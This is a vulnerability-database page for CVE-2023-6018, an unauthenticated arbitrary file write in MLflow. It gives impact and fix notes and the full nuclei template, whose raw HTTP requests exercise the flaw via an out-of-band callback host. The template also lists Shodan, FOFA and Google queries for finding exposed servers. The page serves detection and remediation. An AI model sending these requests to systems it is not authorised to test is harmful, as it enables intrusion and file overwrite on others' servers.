HexBrain

Browse / CVEs / CVE-2023-6018

CVE-2023-6018· lfprojects / mlflow· CWE-78

Mlflow - Arbitrary File Write

criticalseverity
9.8CVSS score
47.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

An attacker can overwrite any file on the server hosting MLflow without any authentication.

Impact

Unauthenticated attackers can overwrite any file on the server hosting MLflow, potentially compromising system integrity and enabling remote code execution.

Fix

Secure the MLflow instance by implementing authentication and access controls, and update to the latest patched version.

How to confirm it

Send: POST /ajax-api/2.0/mlflow/registered-models/create ; POST /ajax-api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2
Positive when: contains in interactsh_protocol "http" AND contains in body_1 "\"registered_model\":" and "\"name\":"

Run it with nuclei: nuclei -id CVE-2023-6018 -u <target>

The full check
id: CVE-2023-6018

info:
  name: Mlflow - Arbitrary File Write
  author: byt3bl33d3r
  severity: critical
  description: |
    An attacker can overwrite any file on the server hosting MLflow without any authentication.
  impact: |
    Unauthenticated attackers can overwrite any file on the server hosting MLflow, potentially compromising system integrity and enabling remote code execution.
  remediation: |
    Secure the MLflow instance by implementing authentication and access controls, and update to the latest patched version.
  reference:
    - https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6018
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6018
    cwe-id: CWE-78
    epss-score: 0.47874
    epss-percentile: 0.98864
    cpe: cpe:2.3:a:lfprojects:mlflow:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,oss,rce,intrusive,lfprojects,vuln
variables:
  model_name: "{{rand_text_alpha(6)}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}", "source": "http://{{interactsh-url}}/api/2.0/mlflow-artifacts/artifacts/"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}", "source": "models:/{{model_name}}/1"}

      - |
        GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body_1
        words:
          - '"registered_model":'
          - '"name":'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from